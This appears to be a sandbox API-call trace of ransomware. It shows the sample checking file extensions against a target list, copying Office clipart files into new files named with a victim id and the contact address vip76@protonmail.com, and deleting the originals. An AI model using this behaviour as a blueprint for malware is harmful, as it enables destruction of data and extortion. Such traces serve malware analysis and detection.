	[0205.567] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".1cd") returned 4
	[0205.567] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".jpg") returned 4
	[0205.568] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0205.568] Sleep (dwMilliseconds=0x64) 
	[0205.949] Sleep (dwMilliseconds=0x64) 
	[0206.531] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.531] lstrlenW (lpString="FD00297_.WMF") returned 12
	[0206.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.533] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=0) returned 1
	[0206.533] CloseHandle (hObject=0x374) returned 1
	[0206.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.534] lstrlenW (lpString=".doc") returned 4
	[0206.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString=".docx") returned 5
	[0206.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.534] lstrlenW (lpString=".pdf") returned 4
	[0206.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString=".xls") returned 4
	[0206.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.534] lstrlenW (lpString=".xlsx") returned 5
	[0206.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.534] lstrlenW (lpString=".ppt") returned 4
	[0206.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.534] lstrlenW (lpString=".zip") returned 4
	[0206.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.534] lstrlenW (lpString=".rar") returned 4
	[0206.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString=".bz2") returned 4
	[0206.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString=".7z") returned 3
	[0206.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.534] lstrlenW (lpString=".dbf") returned 4
	[0206.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.534] lstrlenW (lpString=".1cd") returned 4
	[0206.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.535] lstrlenW (lpString=".jpg") returned 4
	[0206.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.535] lstrlenW (lpString=".doc") returned 4
	[0206.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString=".docx") returned 5
	[0206.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.535] lstrlenW (lpString=".pdf") returned 4
	[0206.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString=".xls") returned 4
	[0206.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.535] lstrlenW (lpString=".xlsx") returned 5
	[0206.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.535] lstrlenW (lpString=".ppt") returned 4
	[0206.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.535] lstrlenW (lpString=".zip") returned 4
	[0206.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.535] lstrlenW (lpString=".rar") returned 4
	[0206.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString=".bz2") returned 4
	[0206.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.535] lstrlenW (lpString=".7z") returned 3
	[0206.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.536] lstrlenW (lpString=".dbf") returned 4
	[0206.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.536] lstrlenW (lpString=".1cd") returned 4
	[0206.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0206.536] lstrlenW (lpString=".jpg") returned 4
	[0206.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.536] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.536] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0206.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.537] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=0) returned 1
	[0206.537] CloseHandle (hObject=0x374) returned 1
	[0206.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.537] lstrlenW (lpString=".doc") returned 4
	[0206.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.537] lstrlenW (lpString=".docx") returned 5
	[0206.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.537] lstrlenW (lpString=".pdf") returned 4
	[0206.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.537] lstrlenW (lpString=".xls") returned 4
	[0206.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.538] lstrlenW (lpString=".xlsx") returned 5
	[0206.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.538] lstrlenW (lpString=".ppt") returned 4
	[0206.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString=".zip") returned 4
	[0206.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.538] lstrlenW (lpString=".rar") returned 4
	[0206.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString=".bz2") returned 4
	[0206.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString=".7z") returned 3
	[0206.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString=".dbf") returned 4
	[0206.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString=".1cd") returned 4
	[0206.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString=".jpg") returned 4
	[0206.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.538] lstrlenW (lpString=".doc") returned 4
	[0206.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString=".docx") returned 5
	[0206.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.539] lstrlenW (lpString=".pdf") returned 4
	[0206.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString=".xls") returned 4
	[0206.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.539] lstrlenW (lpString=".xlsx") returned 5
	[0206.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.539] lstrlenW (lpString=".ppt") returned 4
	[0206.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.539] lstrlenW (lpString=".zip") returned 4
	[0206.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.539] lstrlenW (lpString=".rar") returned 4
	[0206.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString=".bz2") returned 4
	[0206.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString=".7z") returned 3
	[0206.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.539] lstrlenW (lpString=".dbf") returned 4
	[0206.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.539] lstrlenW (lpString=".1cd") returned 4
	[0206.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0206.539] lstrlenW (lpString=".jpg") returned 4
	[0206.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.540] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.540] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0206.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.541] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=8424) returned 1
	[0206.541] CloseHandle (hObject=0x374) returned 1
	[0206.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0206.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0x20
	[0206.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.541] lstrlenW (lpString=".doc") returned 4
	[0206.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.541] lstrlenW (lpString=".docx") returned 5
	[0206.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.542] lstrlenW (lpString=".pdf") returned 4
	[0206.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString=".xls") returned 4
	[0206.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.542] lstrlenW (lpString=".xlsx") returned 5
	[0206.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.542] lstrlenW (lpString=".ppt") returned 4
	[0206.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.542] lstrlenW (lpString=".zip") returned 4
	[0206.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.542] lstrlenW (lpString=".rar") returned 4
	[0206.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString=".bz2") returned 4
	[0206.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString=".7z") returned 3
	[0206.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.542] lstrlenW (lpString=".dbf") returned 4
	[0206.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.542] lstrlenW (lpString=".1cd") returned 4
	[0206.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.542] lstrlenW (lpString=".jpg") returned 4
	[0206.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.543] lstrlenW (lpString=".doc") returned 4
	[0206.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString=".docx") returned 5
	[0206.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.543] lstrlenW (lpString=".pdf") returned 4
	[0206.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString=".xls") returned 4
	[0206.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.543] lstrlenW (lpString=".xlsx") returned 5
	[0206.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.543] lstrlenW (lpString=".ppt") returned 4
	[0206.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.543] lstrlenW (lpString=".zip") returned 4
	[0206.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.543] lstrlenW (lpString=".rar") returned 4
	[0206.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString=".bz2") returned 4
	[0206.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.543] lstrlenW (lpString=".7z") returned 3
	[0206.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.543] lstrlenW (lpString=".dbf") returned 4
	[0206.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.544] lstrlenW (lpString=".1cd") returned 4
	[0206.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0206.544] lstrlenW (lpString=".jpg") returned 4
	[0206.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.544] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.544] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0206.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.545] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=4796) returned 1
	[0206.545] CloseHandle (hObject=0x374) returned 1
	[0206.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0206.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.546] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.546] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0206.547] GetLastError () returned 0x0
	[0206.547] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0206.974] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0206.975] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.975] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.975] SetEndOfFile (hFile=0x378) returned 1
	[0206.976] CloseHandle (hObject=0x378) returned 1
	[0206.976] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.976] SetEndOfFile (hFile=0x374) returned 1
	[0206.977] CloseHandle (hObject=0x374) returned 1
	[0206.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0206.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0206.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.977] lstrlenW (lpString=".doc") returned 4
	[0206.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString=".docx") returned 5
	[0206.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.978] lstrlenW (lpString=".pdf") returned 4
	[0206.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString=".xls") returned 4
	[0206.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.978] lstrlenW (lpString=".xlsx") returned 5
	[0206.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.978] lstrlenW (lpString=".ppt") returned 4
	[0206.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString=".zip") returned 4
	[0206.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.978] lstrlenW (lpString=".rar") returned 4
	[0206.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString=".bz2") returned 4
	[0206.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString=".7z") returned 3
	[0206.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString=".dbf") returned 4
	[0206.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString=".1cd") returned 4
	[0206.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString=".jpg") returned 4
	[0206.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.978] lstrlenW (lpString=".doc") returned 4
	[0206.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString=".docx") returned 5
	[0206.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0206.979] lstrlenW (lpString=".pdf") returned 4
	[0206.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString=".xls") returned 4
	[0206.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0206.979] lstrlenW (lpString=".xlsx") returned 5
	[0206.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0206.979] lstrlenW (lpString=".ppt") returned 4
	[0206.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.979] lstrlenW (lpString=".zip") returned 4
	[0206.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0206.979] lstrlenW (lpString=".rar") returned 4
	[0206.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString=".bz2") returned 4
	[0206.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString=".7z") returned 3
	[0206.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0206.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.979] lstrlenW (lpString=".dbf") returned 4
	[0206.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.979] lstrlenW (lpString=".1cd") returned 4
	[0206.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0206.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0206.979] lstrlenW (lpString=".jpg") returned 4
	[0206.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0206.979] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0206.980] lstrlenW (lpString="FD00779_.WMF") returned 12
	[0206.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0206.980] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=9010) returned 1
	[0206.980] CloseHandle (hObject=0x374) returned 1
